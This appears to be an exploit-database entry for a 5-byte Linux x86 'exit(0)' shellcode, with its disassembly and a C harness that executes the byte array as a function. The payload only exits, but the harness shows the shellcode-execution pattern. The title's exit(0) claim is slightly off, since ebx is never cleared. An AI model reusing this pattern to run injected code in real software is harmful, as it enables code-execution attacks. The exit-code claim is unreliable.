[] NeoSense

Linux/x86 - exit(0) Shellcode (5 bytes)

Author: Daniele Votta
type: 
platform: linux_x86
port: 5.0
date_added: 2019-01-28 
date_updated: 2019-01-28 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

/*
# Date: 26/01/2019
# Exit.asm
# Author: Daniele Votta
# Description: Exit with no nulls.
# Tested on: i686 GNU/Linux
# Shellcode Length: 5
*/

#include<stdio.h>
#include<string.h>

/*
Disassembly of section .text:

00000000 <_start>:
   0:	31 c0                	xor    eax,eax
   2:	40                   	inc    eax
   3:	cd 80                	int    0x80
======================= POC Daniele Votta =======================
*/

unsigned char shellcode[] = \
"\x31\xc0\x40\xcd\x80";

int main()
{
	printf("Shellcode Length:  %d\n", strlen(shellcode));

	int (*ret)() = (int(*)())shellcode;

	ret();
}